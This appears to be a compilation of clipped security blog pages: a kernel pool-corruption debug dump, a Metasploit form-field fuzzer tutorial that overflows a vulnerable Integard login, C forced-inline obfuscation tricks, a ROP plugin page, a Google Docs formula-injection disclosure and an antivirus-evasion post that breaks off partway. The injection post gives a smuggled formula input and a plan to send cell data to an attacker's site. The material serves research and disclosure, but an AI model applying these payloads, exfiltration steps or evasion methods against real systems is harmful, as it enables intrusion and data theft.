fffffa80\`0dc57010 a24da497 01ccc5d6 c827993c 41946d1f ..M.....<.'..m.A

fffffa80\`0dc57020 c0d75c9b b7cff1a5 00000000 00000020 .\\.......... ...

fffffa80\`0dc57030 000021e0 00000006 0000006c 00000110 .\!......l.......

fffffa80\`0dc57040 00000208 000003b8 00000208 00000660 ............\`...

fffffa80\`0dc57050 00000208 00000910 00000208 00000bb0 ................

<cut>

fffffa80\`0dc59150 002d0033 00300031 0063002e 006d006f 3.-.1.0...c.o.m.

fffffa80\`0dc59160 006c002e 00660065 00680074 006e0061 ..l.e.f.t.h.a.n.

fffffa80\`0dc59170 006e0064 00740065 006f0077 006b0072 d.n.e.t.w.o.r.k.

This should be the end of the allocation. The next thing we see should be the
“Frag” and “Free” tags.

0: kd> dc

fffffa80\`0dc59180 003a0073 0061006d 0061006e 00650067 s.:.m.a.n.a.g.e.

fffffa80\`0dc59190 0065006d 0074006e 0038003a 00390036 m.e.n.t.:.8.6.9.

fffffa80\`0dc591a0 0062003a 00670069 0075006c 00790063 :.b.i.g.l.u.c.y.

fffffa80\`0dc591b0 0064002d 00740061 002d0061 006e0069 -.d.a.t.a.-.i.n.

fffffa80\`0dc591c0 00650064 00650078 002d0073 00740063 d.e.x.e.s.-.c.t.

fffffa80\`0dc591d0 006c0072 0031005f 00000031 00000000 r.l.\_.1.1.......

We clearly see that the Frag and Free tag have been overwritten with some
string value which is causing the corruption. At this point, you would need to
look at the current stack to determine which driver had allocated the memory,
and review the code to investigate when this corruption could have occurred.

# Metasploit module : HTTP Form field fuzzer | Peter Van Eeckhoutte's Blog
**Created:**| _11/14/2010 4:06:43 PM_  
---|---  
**Updated:**| _11/14/2010 4:07:14 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web pentest Fuzzer Metasploit vulnerability_  
  

## <img src='img/Temp2_5310.png' width='26' height='26' /> Metasploit module :
HTTP Form field fuzzer

November 12th, 2010 | <img src='img/Temp2_5314.png' width='14' height='14' /> Author: Peter Van Eeckhoutte
**ewed**

### Introduction

About a month after releasing an ftp client fuzzer module for Metasploit, I
decided to release yet another fuzzer module I have been working on over the
last few weeks.

This new module can be used to audit web servers/web server
plugins/components/filters, by fuzzing form fields and optionally fuzz some
header fields.

While this type of fuzzing/audits most likely won’t reveal bugs in the most
common webserver platforms themselves \(Apache, IIS, etc\), I am convinced
that there are a lot of other web server components out there that may not
properly validate input from form fields or header fields.

A few hints :

  * custom modules / isapi components / custom dll’s that process input
  * admin consoles
  * embedded webservers
  * etc

### The module

This new fuzzer module was added to the Metasploit framework earlier today
\(svn release r11013 and up\), and can be found in
/modules/auxiliary/fuzzers/http. The module file is called
http\_form\_field.rb

If you are using a svn based copy of the framework, you can get the module
very easily \(and all future updates\) by updating your svn copy. More info
about creating a svn copy and about updating the svn can be found in the post
about the client ftp fuzzer module.

Anyways, this is what the module will do :

  * It will connect to a webpage \(referred to by the "URL" option\), parse the body and identify all forms & form fields contained within those forms.
  * Then, it will create POST \(or GET, depending on the form method\) requests, sending those fields back to the webpage provided in the "action" field of the form, and fuzz the contents of the fields while doing that. It will only fuzz one field at a time.
  * By default, only text fields, password fields, and inputtextbox fields will be fuzzed, but you can define other field types by setting the "TYPES" parameter.
  * In additition to that, it can optionally fuzz header fields as well. It will use the existing headers \(and add some common headers if they are missing\) and fuzz each one of those headers using POST/GET requests.

### Using the module

Loading the module is as easy as doing this :

[code]

    root@bt:/pentest/exploits/trunk# ./msfconsole -n
    
    msf > use auxiliary/fuzzers/http/http_form_field
    msf auxiliary(http_form_field) >
    
[/code]

  
The available module options are :

[code]

    msf auxiliary(http_form_field) > show options
    
    Module options:
    
       Name         Current Setting             Required  Description
       ----         ---------------             --------  -----------
       ACTION                                   no        Form action full URI. Leave empty to autodetect
       CODE         200,301,302                 yes       Response code(s) indicating OK
       CYCLIC       true                        yes       Use Cyclic pattern instead of A's (fuzzing payload).
       DELAY        0                           yes       Number of seconds to wait between 2 actions
       ENDSIZE      200000                      yes       Max Fuzzing string size.
       FIELDS                                   no        Name of the fields to fuzz. Leave empty to fuzz all fields
       FORM                                     no        The name of the form to use. Leave empty to fuzz all forms
       FUZZHEADERS  true                        yes       Fuzz headers
       Proxies                                  no        Use a proxy chain
       RHOST                                    yes       The target address
       RPORT        80                          yes       The target port
       STARTSIZE    1000                        yes       Fuzzing string startsize.
       STEPSIZE     1000                        yes       Increment fuzzing string each attempt.
       STOPAFTER    2                           no        Stop after x number of consecutive errors
       TIMEOUT      15                          yes       Number of seconds to wait for response on GET or POST
       TYPES        text,password,inputtextbox  yes       Field types to fuzz
       URL          /                           no        The URL that contains the form
       VHOST                                    no        HTTP server virtual host
    
[/code]

  * **Action** : By default, this field will be auto-populated. It is used to store the "action" variable of each form. In essence, this is the target URL that is used when submitting form contents to the webserver. So, if you leave this field empty, the fuzzer will attempt to detect the form action and use it as a target for the fuzzing operations. If you need to specify an action URL yourself \(because the autodetection routine is not accurate enough\), then it will be used for all forms on the page. This means that you should use this in conjunction with the FORM parameter \(so you would be fuzzing the correct form fields against the correct action page\).
  * **Code** : This parameter contains a comma separated list of response codes that are considered to be OK
  * **Cyclic** : When set to true, the fuzzdata will consist of a cyclic pattern. If you set this value to false, the fuzz data will be made up of a long string of A’s
  * **Delay** : This parameter allows you to specify the number of seconds to wait between two fuzz operations.
  * **Endsize** : This is the maximum size of fuzzdata that will be sent to the target. When the maximum length has been reached, the fuzz operation will end.
  * **Fields** : If you leave this option empty, then all fields in the form \(limited to field types specified in the TYPES option\) will be subject to fuzzing. If you want to limit the fuzz to certain fields only, then you populate the option with a comma separated list of field names.
  * **Form** : When empty, the fuzzer will attemt to identify and enumerate all forms on the page, and fuzz all of the fields in all of those forms. If you only want to fuzz specific form\(s\), you can put a comma separated list of form names/ids in this field.
  * **Fuzzheaders** : If this option is enabled, then the fuzzer will also fuzz http request header fields after fuzzing form fields.
  * **Proxies** : You can use this field to specify a proxy chain
  * **Rhost** : This option is used to specify the target host
  * **Rport** : This option is used to specify the target port
  * **Startsize** : This parameter allows you to specify the start length of the fuzz data
  * **Stepsize** : This parameter defines the number of chars to increase the fuzz data with after each fuzz
  * **Stopafter** : This parameter defines the number of error conditions to occur before giving up
  * **Timeout** : Use this option to specify the number of seconds for each get/post request to wait for a response
  * **Types** : This option can be used to define the type of form fields to fuzz. When left empty, it will fuzz all fields.
  * **URL** : This option defines the exact url of the page that contains the form to fuzz.
  * **Vhost** : Use this option if you want to use a host header name.

> Important note : if you want to clear a certain option, don’t set it to an
> empty string \(set <option> ""\), but use the unset command : unset <option>
The advanced options are :

[code]

    msf auxiliary(http_form_field) > show advanced
    
    Module advanced options:
    
       Name           : BasicAuthPass
       Current Setting:
       Description    : The HTTP password to specify for basic authentication
    
       Name           : BasicAuthUser
       Current Setting:
       Description    : The HTTP username to specify for basic authentication
    
       Name           : FingerprintCheck
       Current Setting: true
       Description    : Conduct a pre-exploit fingerprint verification
    
       Name           : SSL
       Current Setting: false
       Description    : Negotiate SSL for outgoing connections
    
       Name           : SSLVersion
       Current Setting: SSL3
       Description    : Specify the version of SSL that should be used (accepted: SSL2,
          SSL3, TLS1)
    
       Name           : UserAgent
       Current Setting:
       Description    : The User-Agent header to use for all requests
    
       Name           : WORKSPACE
       Current Setting:
       Description    : Specify the workspace for this module
    
[/code]

  * BasicAuthPass and BasicAuthUser can be used if the target website requires authentication prior to accessing it \(Basic authentication only\)
  * FingerPrintCheck has no use in this fuzzer
  * You can set SSL \(and SSLVersion\) if the target website requires https. Don’t forget to change the rport option accordingly
  * Useragent allows you to define an alternative User Agent field. The default value \(hardcoded into the fuzzer\) is "Mozilla/5.0 \(X11; U; Linux i686; en-US; rv:1.9.0.15\) Gecko/2009102814 Ubuntu/8.10 \(intrepid\) Firefox/3.0.15"

### Example :

Let’s use the module to test the Integard admin login page \(and reproduce the
vulnerability that was reported here\). I installed a vulnerable copy of
Integard Home on a test computer \(192.168.201.1\). From my attacker machine,
I can access the login page on port 18881 :

<img src='img/Temp2_5315.png' width='390' height='217' alt='image' />

The source of the page reveals the following form :

<img src='img/Temp2_5309.png' width='505' height='342' alt='image' />

  * The form fields will be posted to /LoginAdmin
  * There are 3 fields \(password, Redirect, NoJs\) and a submit button. We’ll fuzz the password field in this example.

Next, I attached Immunity Debugger to Integard.exe and let the application run
inside the debugger.

<img src='img/Temp2_5313.png' width='398' height='226' alt='image' />

Configuring the Metasploit form field fuzzer for this case is really easy. We
only have one form, so we can try to let the plugin auto-configure itself. The
only 3 parameters we’ll need to specify are :

  * rhost / vhost
  * rport
  * URL

[code]

    msf auxiliary(http_form_field) > set rhost 192.168.201.1
    rhost => 192.168.201.1
    smsf auxiliary(http_form_field) > set vhost 192.168.201.1
    vhost => 192.168.201.1
    smsf auxiliary(http_form_field) > set rport 18881
    rport => 18881
    
[/code]

The URL option already contains "/", so that will work fine in this case. The
default field types are "text", "password" and "inputtextbox", so that means
that the fuzzer will only look at the password field.

Now simply issue "run" and the fuzzer will start fuzzing :

<img src='img/Temp2_5311.png' width='567' height='452' alt='image' />

You will notice that the fuzzer will report a "No response" when fuzzing the
password field with 2000 bytes. Look at the debugger :

<img src='img/Temp2_5312.png' width='694' height='488' alt='image' />

Nice : we control EIP and can see the payload on the stack. Game over :\)

### Finally :

If you have questions / comments / feedback about the module, feel free to
leave your comments below, or drop by in the corelan IRC channel on freenode.

Have fun \!

# Malheur | freshmeat.net
**Created:**| _4/21/2011 10:14:21 AM_  
---|---  
**Updated:**| _4/21/2011 10:14:21 AM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  

# Malheur

Malheur is a tool for the automatic analysis of malware behavior \(program
behavior recorded from malicious software in a sandbox environment\). It is
designed to support the regular analysis of malicious software and the
development of detection and defense measures. It allows for identifying novel
classes of malware with similar behavior and assigning unknown malware to
discovered classes. It can be applied to recorded program behavior of various
formats as long as monitored events are separated by delimiter symbols, e.g.
as in reports generated by the popular malware sandboxes CWSandbox, Anubis,
Norman Sandbox, and Joebox.

# Abusing Forced Inline in C | Development & Security
**Created:**| _6/28/2012 8:20:18 AM_  
---|---  
**Updated:**| _6/28/2012 8:20:18 AM_  
**Author:**| __  
**Tags:**| _C programming_  
  

# Development & Security

## By Jurriaan Bremer @skier\_t

Search

### Main menu

Skip to primary content

Skip to secondary content

  * Home

### Post navigation

← Previous Next →

# Abusing Forced Inline in C

Posted on

May 30, 2012

##  Table of Contents:

  * Abstract
  * Introduction
  * Function Overloading through Macros
  * Abusing Forced Inline
  * Method I: Inserting Garbage
  * Method II: Parameter Shuffling
  * Method III: Encrypting Object Context
  * Additional Notes
  * Source and Binaries
  * References

## Abstract

This post presents the reader ways to abuse forced inlining, which is
supported by both GCC and Microsoft Visual C/C++ compiler.

Throughout the next paragraphs we will introduce the reader to inlining, its
purpose, several ways to abuse forced inlining, and some additional notes.

Finally, we present the reader source and binaries of the methods described.

## Introduction

Before we get any further, here is a quick introduction to inlining. From
Wikipedia\[1\]:

` In various versions of the C and C++ programming languages, an inline
function is a function upon which the compiler has been requested to perform
inline expansion. In other words, the programmer has requested that the
compiler insert the complete body of the function in every place that the
function is called, rather than generating code to call the function in the
one place it is defined. `

For those of us, that are still unsure about inlining, here is a simple
example.

[code]

    #include <stdio.h>
    
    inline int MAX(int a, int b)
    {
        return a < b ? b : a;
    }
    
    int main(void)
    {
        printf("max(2, 3): %d\n", MAX(2, 3));
    }
    
[/code]

Although this might be a bad example, because the compiler might have inlined
it anyway \(without specifying the inline attribute\), it’s a very easy one.
So basically what happens, assuming the compiler inlines the _MAX_ function,
is the following.

[code]

    #include <stdio.h>
    
    int main(void)
    {
        printf("max(2, 3): %d\n", 2 < 3 ? 3 : 2);
    }
    
[/code]

As you can see, instead of calling the _MAX_ function, the compiler has
rewritten the _main_ function in such a way that it inlines the _MAX_
function. Nowadays compilers are smart enough to see that the equation
evaluates to three, so if you analyze the binary, it will probably say three
instead of an equation, but the point should be clear by now.

So, now we know what inlining does, forced inlining is quite self-explanatory.
It enforces the compiler to inline a certain function.

Normally one uses inlining to gain increased performance, for example in
performance critical code sections, it’s useful to inline a function such as
_max_ \(returns the biggest of two given numbers\) because the cpu does not
need perform all the work involved with calling a function \(storing/loading
the return address and possible basepointer\), in addition to ensuring that
the page containing the called function is loaded into cache. Besides
optimalizations regarding caching, the compiler might also able to optimize
further when inlining, this happens for example when one \(or more\) of the
parameters to the function are known compile-time.

However, it should be noted that inlining relatively bigger functions \(those
with more than a few lines of code\) can be fairly expensive. This is because
the CPU can cache functions \(or, actually, pages that the functions are
located on\) that are commonly called. But if such function is inlined
multiple times, then the CPU will not be able to recognize that, and it will
not be able to cache the particular function \(e.g. if _max_ is inlined
several times, the CPU will not recognize one from another.\) So, as usual,
the techniques discussed here will drain some performance.

As mentioned earlier, both GCC and MSVC support forced inlining. In GCC we
give a function the **\_\_attribute\_\_\(\(always\_inline\)\)** attribute,
whereas MSVC requires us to specify **\_\_forceinline**. In order to solve
this without worrying too much about the compiler, we create a simple macro
which expands to the correct attribute depending on the compiler. This macro
looks like the following.

[code]

    #ifdef __MSVC__
    #define FORCEDINLINE __forceinline
    #else
    #define FORCEDINLINE __attribute__((always_inline))
    #endif
    
[/code]

Now we’ve seen what inlining does, and how we enforce the compiler to inline a
function, we’re up for some more tricks which we use in order to apply our
obfuscations.

## Function Overloading through Macros

Although we will discuss methods to obfuscate binaries, we do not want to
obfuscate the source, as obfuscating the source makes it unreadable etc.

So, what we do is, we overload functions. And we do this through macro’s. By
overloading functions we have the ability to create transparant obfuscations,
that is, obfuscations while barely adjusting the original source.

So, instead of asking someone to rename all occurences of MessageBoxA\(\) to
MessageBoxA\_Obfuscated\(\), or similar, we do this transparantly. This also
means that the obfuscations can be disabled simply by not including a header
file \(assuming the obfuscations are defined in a header file.\)

Function overloading does however bring some small problems, but they are
quite easily overcome and, fortunately for us, when they do go wrong, it’s
easy to spot what’s going wrong \(you’ll get errors compile-time.\)

What we do is the following. We make a macro for each function that we wish to
obfuscate. This is the tricky part, because the macro should be defined
_after_ the function has been declared \(or implemented, for that matter.\)
There are two things we can do. We can either make a header file containing
each obfuscation \(which is then included into our C file of choice\), or
define the obfuscations after the function has been declared/implemented
\(e.g. put the function on the top of a source file, followed by the
obfuscation code.\)

Although the latter method is a bit ugly; you essentially mix the real code
with obfuscation code. The first method is reasonable and doesn’t make you
puke while developing further \(because all obfuscations can be developed in a
seperate file.\) The first method does however have one requirement: if you
have all obfuscations in a single header file, then you have to put a
**\#undef funcname** before each function that is declared as obfuscation.
Otherwise you get one of those funky compiler errors.

Note that, after undefining a macro \(using **\#undef**\), the obfuscation
will not be applied to function calls to this particular function which are
made _after_ the function definition in the _same_ source file.

So, let’s get to some example code to illustrate this method \(we use the
second method; defining obfuscation after the declaration/implementation of
the function.\)

[code]

    int foo(int a, int b)
    {
        return a + b;
    }
    
    FORCEDINLINE int foo_obfuscated(int a, int b)
    {
        Sleep(1);
        int ret = foo(a, b);
        Sleep(1);
        return ret;
    }
    
    #define foo foo_obfuscated
    
    int main(void)
    {
        printf("foo(2, 3): %d\n", foo(2, 3));
    }
    
[/code]

As you can see, we have redirected execution flow from the _foo_ function to
_foo\_obfuscated_. From here the _foo\_obfuscated_ function, which has the
forced inline attribute, can do anything before and after calling the original
function. In the example it sleeps for a millisecond before and after calling
the original function.

So, because we’ve specified the forced inline attribute on the
_foo\_obfuscated_ function, the compiler will interpret this code as something
like the following.

[code]

    int foo(int a, int b)
    {
        return a + b;
    }
    
    int main(void)
    {
        Sleep(1);
        int ret = foo(2, 3);
        Sleep(1);
        printf("foo(2, 3): %d\n", ret);
    }
    
[/code]

As you can see, the _foo\_obfuscated_ code is entirely inlined into the _main_
function. Now let’s see an example in which the obfuscation is defined, but
**not** applied \(see the note about **\#undef** a few lines up.\)

[code]

    // implementation of the obfuscation for `foo'
    FORCEDINLINE int foo_obfuscated(int a, int b)
    {
        Sleep(1);
        int ret = foo(a, b);
        Sleep(1);
        return ret;
    }
    
    #define foo foo_obfuscated
    
    ... snip ...
    
    // implementation of the `foo' function
    // we have to undefine the foo macro,
    // otherwise we'd get compiler errors
    #undef foo
    int foo(int a, int b)
    {
        return a + b;
    }
    
    ... snip ...
    
    int main(void)
    {
        // this function call to `foo' is NOT obfuscated
        printf("foo(2, 3): %d\n", foo(2, 3));
    }
    
[/code]

This is really all there is to it, so now we’re done with the introduction,
it’s time to abuse forced inline.

## Abusing Forced Inline

In the following paragraphs we will see how one abuses forced inline. These
methods mainly represent simple obfuscation techniques, but when combined,
they can be very, very annoying towards Reverse Engineers and/or static code
analysis tools.

If you’re unsure about a certain method, or if you’d like to see what kind of
horror the compiler makes using it, then load the binary \(which can be found
in the Source and Binaries section\) in a tool such as IDA Pro \[2\].

Note that in the examples below, we will be using MSVC. This means that, when
porting the examples to GCC, any inline assembly will have to be rewritten.

## Method I: Inserting Garbage

The first method which we will investigate is the following. Instead of
calling the original function directly, we insert some garbage code around the
function call. This is a well-known technique used in so-called polymorphic
viruses. Let’s take a look at the following example.

[code]

    int foo(int a, int b)
    {
        return a + b;
    }
    
    FORCEDINLINE int foo_obfuscated(int a, int b)
    {
        __asm {
            jmp short lbl
            _emit 0xb8
            lbl:
        }
        int ret = foo(a, b);
        __asm {
            jmp short lbl2
            _emit 0xb8
            lbl2:
        }
        return ret;
    }
    
    #define foo foo_obfuscated
    
    int main(void)
    {
        printf("foo(2, 3): %d\n", foo(2, 3));
    }
    
[/code]

In this example we surrounded the call to _foo_ with some garbage code. The
short jump is a simple jump which tells the CPU to step over the emitted byte
\(an emitted byte is placed directly into the binary.\) The emitted byte is
the first byte for the “mov eax, imm32″ instruction. In other words, if a
disassembler disassembles the 0xb8 byte, it will take the following four bytes
as well \(as they are required as the immediate operand.\)

From there the rest of the disassembly will be corrupted, because the
disassembler processed five bytes for the 0xb8 byte, while we inserted only
one byte. The first four bytes of the following instruction\(s\) have been
processed as part of the _mov_ instruction, instead of the original
instructions they were meant to be. This is an easy trick and therefore it’s
also easy to ignore it when disassembling, however, in combination with other
tricks it can be quite annoying.

## Method II: Parameter Shuffling

In this technique we will redirect execution to an obfuscation helper
function, which we will give a few extra parameters \(these are generated in
the inlined function.\) The inlined function will call the obfuscation helper
function, which is not inlined. Together the obfuscation and obfuscation
helper functions do some stuff that is not even remotely useful, such as
allocating and freeing heap objects. From the helper function it will call the
original function. Without further ado, let’s dive into some example code.

[code]

    int foo(int a, int b)
    {
        return a + b;
    }
    
    int foo_obfuscated_helper(void *mem, int b, int size, int a)
    {
        free(mem);
        return foo(a, b);
    }
    
    FORCEDINLINE int foo_obfuscated(int a, int b)
    {
        return foo_obfuscated_helper(malloc(42), b, 42, a);
    }
    
    #define foo foo_obfuscated
    
    int main(void)
    {
        printf("foo(2, 3): %d\n", foo(2, 3));
    }
    
[/code]

The example code presented above does nothing more \(useful\) than the
original function, however, we’ve managed to add useless heap routines, an
unused parameter and we’ve shuffled the _a_ and _b_ parameters, which is
really annoying.

## Method III: Encrypting Object Context

It is not quite uncommon to implement a simple stand-alone library in C which
will only be accessible using a simple API. Take for example a simple memory
manager, a wrapper around reading and/or writing of files, etc. In the
following example we’ll demonstrate _encryption_ of the context variabele of a
memory manager, that is, the context is encrypted and decrypted for every
function call regarding this particular API.

Although it’s far from “real” encryption, it’s still useful because the state
of the memory manager context will be semi-encrypted in times when it’s not
used. For the entire code, please refer to the source code, here we’ll only
see useful snippets of the code.

[code]

    //
    // memory manager api header include
    //
    
    typedef struct _memory_t {
        // memory size used
        int used;
        // memory size left
        int left;
    } memory_t;
    
    // yes, there is no `free' memory API..
    void memory_init(memory_t *mem, int maxsize);
    void *memory_get(memory_t *mem, int size);
    void memory_status(memory_t *mem, int *used, int *left);
    void *memory_destroy(memory_t *mem);
    
    ... snip ...
    
    //
    // obfuscation header include
    //
    
    // simple encryption/decryption function which
    // xor's the input with 0x42.
    FORCEDINLINE _object_crypt(void *obj, int size)
    {
        for (int i = 0; i < size; i++) {
            ((unsigned char *) obj)[i] ^= 0x42;
        }
    }
    
    FORCEDINLINE void memory_init_obf(memory_t *mem, int maxsize)
    {
        memory_init(mem, maxsize);
        // encrypt memory context
        _object_crypt(mem, sizeof(memory_t));
    }
    
    FORCEDINLINE void *memory_get_obf(memory_t *mem, int size)
    {
        // decrypt memory context
        _object_crypt(mem, sizeof(memory_t));
        // call original function
        void *ret = memory_get(mem, size);
        // encrypt memory context
        _object_crypt(mem, sizeof(memory_t));
        // return the.. return value..
        return ret;
    }
    
    FORCEDINLINE void memory_status_obf(memory_t *mem, int *used, int *left)
    {
        // decrypt memory context
        _object_crypt(mem, sizeof(memory_t));
        // call original function
        memory_status(mem, used, left);
        // encrypt memory context
        _object_crypt(mem, sizeof(memory_t));
    }
    
    FORCEDINLINE void memory_destroy_obf(memory_t *mem)
    {
        // decrypt memory context
        _object_crypt(mem, sizeof(memory_t));
        // call original function
        memory_destroy(mem);
        // no need to encrypt, context is no longer valid anyway
    }
    
    #define memory_init memory_init_obf
    #define memory_get memory_get_obf
    #define memory_status memory_status_obf
    #define memory_destroy memory_destroy_obf
    
    ... snip ...
    
    //
    // real code here
    //
    
    int main(void)
    {
        memory_t mem;
        memory_init(&mem, 1000);
        void *a = memory_get(&mem, 10);
        void *b = memory_get(&mem, 20);
    
        // do something with `a' and `b'
    
        // get the status (and compare it with
        // the "encrypted" status)
        int used, left;
        memory_status(&mem, &used, &left);
        printf("Real status: %d %d\n", used, left);
        printf("Encrypted status: %d, %d\n",
            mem.used, mem.left);
    
        memory_destroy(&mem);
    }
    
[/code]

Executing this will result in the following.

[code]

    $ ./encrypted_context
    Real status: 30 970
    Encrypted status: 1111638620, 1111638408
    
[/code]

It should be clear by now that this is a pretty interesting technique. You can
“encrypt” virtually anything; sockets, handles, or even strings \(although you
won’t be able to do stuff like ptr\[0\] in that case.\)

As an additional note, here is the output difference between the original
Graph Overview \(from IDA\), and the one after applying the obfuscations.

<img src='img/Temp2_443.png' /> <img src='img/Temp2_442.png' />

## Additional Notes

Although the methods proposed here are interesting and perhaps useful. Please
do make sure you apply them correctly and, in the case of an API library, for
the entire library; not providing context encryption/decryption for some
function in the entire library results in undefined behaviour for the
functions that have not been obfuscated. The same goes for raw access to an
encrypted data structure \(as can be seen in the example above, where the
Encrypted status returns garbage.\)

Also keep in mind that undefined behaviour _will_ occur when using an
encrypted object in a **multi-threaded** manner. \(E.g. two threads might
decrypt the object at the same time.\)

Even though the examples provided are really, really basic. They show what one
could do using forced inline and, when combining the methods, they can become
quite a pain in the arse.

## Source and Binaries

Source and Binaries for all Forced Inline posts can be found here.

## References

  1. Inline Function – Wikipedia
  2. IDA Pro

This entry was posted in Uncategorized by jbremer. Bookmark the permalink.

##  2 thoughts on “Abusing Forced Inline in C”

  1. url\(images/comment-arrow.png\)
  2. Mihai Preda on 
May 30, 2012 at 9:09 pm

said:

an alternative way to force inline is “extern inline”, e.g.:

extern inline int add\(int a, int b\) \{ return a+b; \}

Reply ↓

     * jbremer on 
May 30, 2012 at 9:20 pm

said:

Cool, I did not know about this trick. However, I’ve tested it using MSVC and
\(with my current settings\) it does not seem to work \(e.g. memory\_get\_obf
is not inlined etc.\) Maybe I’m missing something, or maybe it does work for
GCC? \(The first two examples did in fact work.\)

Reply ↓

### Leave a Reply

Your email address will not be published. Required fields are marked \*

Name \*

Email \*

Website

Comment

Proudly powered by WordPress

# OpenRCE - IDA ROP

**Created:**| _7/15/2011 2:47:23 PM_  
---|---  
**Updated:**| _7/15/2011 2:54:51 PM_  
**Author:**| __  
**Tags:**| _iDA plugin rop_  
  
| <img src='img/Temp2_5924.png' /> **Printer Friendly ...**  
---|---  
**Dr. Gadget IDAPython plugin** | **Author:** dennis <img src='img/Temp2_5921.png' /> | **\# Views:** 5228  
---|---  
  
  
  
http://blog.zynamics.com/2010/06/09/analyzing-the-currently-exploited-0-day-
for-adobe-reader-and-adobe-flash/  
  
<img src='img/Temp2_5930.png' />  
<img src='img/Temp2_5925.png' />  
<img src='img/Temp2_5922.png' />  
<img src='img/Temp2_5926.png' />  
<img src='img/Temp2_5920.png' />  
<img src='img/Temp2_5928.png' />  
<img src='img/Temp2_5923.png' />  
  
  
  
http://www.openrce.org/repositories/users/dennis/drgadget.py  
http://www.openrce.org/repositories/users/dennis/rop.bin  
  
**edit:**  
  
http://hexblog.com/2009/09/assembling\_and\_finding\_instruc.html  
  
<img src='img/Temp2_5929.png' />  
  
  
dennis <img src='img/Temp2_5921.png' /> | Posted: Thursday, August 26 2010 02:49.19 CDT  
---|---  
new version 0.3 uploaded, introducing following changes:  
  
\- bugfixes  
\- added ARM support  
\- primitive stack/pc tracing for ARM  
\- Disassembly view export to file  
\- string reference scanning in disasm view  
\- add support for comments both in rop view and disasm view in sync  
\- sync offset number display between ropview and disasm  
  
screenshot below shows stage 2 of the ROP code of the
http://www.jailbreakme.com/ exploit.  
  
<img src='img/Temp2_5927.png' />  
  
code is available here  
  
all changes courtesy of Karthik \(neox.fx at gmail dot com\)

# Hyper-V host BSOD when starting second VM

**Created:**| _12/9/2010 11:46:51 AM_  
---|---  
**Updated:**| _12/9/2010 11:47:04 AM_  
**Author:**| __  
**Tags:**| _windows security kernel bughunting_  
  

# Digital Security Research Group: Excel formula injection in Google Docs

**Created:**| _12/22/2011 10:38:24 AM_  
---|---  
**Updated:**| _12/22/2011 10:38:24 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Google code-injection_  
  

### Excel formula injection in Google Docs

Surely all of you know about Google reward program for information security
researchers who provide information about weak spots of Google resources. We
had the chance to participate in this program, too. Here is a short story from
@\_chipik and @asintsov.  
  
One day we needed to conduct a small survey, and we decided to use Google Docs
as platform for the survey.  
There is an object in Google Docs called Google Forms, and, as obvious from
the name, it is used to create various surveys and tests forms.  
  
<img src='img/Temp2_2245.png' />  
After a form is created, its URL is published on the Internet or sent to
people who are to participate in the survey.  
This is how the form looks for a participant:  
  
<img src='img/Temp2_2248.png' />  
And this is how the author sees the participant's answers:  
  
<img src='img/Temp2_2243.png' />  
I suppose that any web researcher upon seeing a form instinctively puts ‘,",>
and other interesting symbols here?  
We tried it, too. However, everything was encoded and filtered exactly as
planned.  
Well… But all of user input is inserted into an Excel table, so why don't we
try to inject some formula?  
Excel formulas start with an “=”.  
OK, let’s give it a try.  
  
<img src='img/Temp2_2242.png' />  
Fail. Cunning Google puts a space symbol before the "=" so that the formula is
taken for a simple text cell.  
So how do we get rid of the space? Easy as pie: use backspace :\)  
%08 is the Hex code of the backspace key.  
  
<img src='img/Temp2_2241.png' />  
  
Thus, we wrote in the entry field:  
%08=1+2+C3  
  
Voila\!  
  
<img src='img/Temp2_2240.png' />The formula got inserted into the table just
fine.  
All we had to do now was devise an interesting and practical vector for this
particular injection. Google Functions helped us here.  
  
<img src='img/Temp2_2249.png' />With the help of Google Functions it was
possible to execute a request to any domain so that the request results got
inserted into a specified cell.  
  
That gave us the following attack vector:  
1\) Put sensitive user data into A1 cell \(or probably they are already
there\)  
2\) Put a formula which makes GET request to
http://own\_site.com/secret\_data\_in\_base64 into Z666 cell.  
3\) Read web server logs, get data from cells.  
4\) Profit\!  
  
Soon after describing the bug and the possible attack vector we got the
following letter:  
  
<img src='img/Temp2_2244.png' />  
And a bit later we saw our names in Google Hall of Fame  
  
<img src='img/Temp2_2246.png' />Finally, a little Google Hack ;\)  
  
<img src='img/Temp2_2247.png' />

Posted by DSecRG at 2:20 AM

  *[2:20 AM]: 2011-12-21T02:20:00-08:00

# Automatic Abstraction for Inverals Using Boolean Formulae

**Created:**| _10/26/2010 7:53:17 AM_  
---|---  
**Updated:**| _10/26/2010 7:53:55 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification reversing_  
  
<img src='img/Temp2_940' />

# Why Encoding Does not Matter and How Metasploit Generates EXE’s « Thoughts
on Security

**Created:**| _4/26/2011 9:08:38 PM_  
---|---  
**Updated:**| _4/26/2011 9:08:38 PM_  
**Author:**| __  
**Tags:**| _Metasploit antivirus Obfuscation_  
  

## Why Encoding Does not Matter and How Metasploit Generates EXE’s

  

Payload executables generated by msfencode are commonly detected by antivirus
engines, depending which antivirus engine is used. A common misconception is
that the antivirus engines are actually detecting the shellcode, and
therefore, the best way to avoid antivirus detection is to pick an encoder
that the antivirus engine cannot handle, or encode many times. After all,
those are both prominent options of msfencode.  
`  
Usage: /opt/framework-3.5.2/msf3/msfencode  
`

` `

``

`OPTIONS:`

` `

` -a `

` The architecture to encode as  
-b `
` The list of characters to avoid: '\x00\xff'  
-c `
` The number of times to encode the data  
-d `
` Specify the directory in which to look for EXE templates  
-e `
` The encoder to use  
...  
`

``

``

``

``

``  
If you just want to evade McAfee/Symantec, the basic msfencode command `cat payload | msfencode -t exe > my.exe` should work fine. But if you have ever tried to evade an antivirus like Avast\! that tries to catch Metasploit payloads by changing encoder or number of times to encode, chances are, you were very frustrated and just wasted time. So how can they catch every encoder and more importantly, how can you evade them? 
First, let’s see how Metasploit generates EXE’s. The relevant code is in
lib/msf/util/exe.rb in the self.to\_win32pe function. First the payload is
placed within a “win32\_rwx\_exec” block:  
`  
# Copy the code to a new RWX segment to allow for self-modifying encoders  
payload = win32_rwx_exec(code)  
`  
The function is defined later in the file:  
`  
# This wrapper is responsible for allocating RWX memory, copying the  
# target code there, setting an exception handler that calls ExitProcess  
# and finally executing the code.  
def self.win32_rwx_exec(code)  
`  
This function writes a set of assembly instructions consisting mostly of the
block\_api code that forms the majority of the Metasploit win32 shellcode,
while randomly inserting nop instructions and opcodes to jmp over randomly
generated bytes. These assembly instructions will look up and call the
VirtualAlloc function to allocate RWX memory, copy the target code there and
execute the code.

Ignoring the inject block for now \(the same principles apply; less random
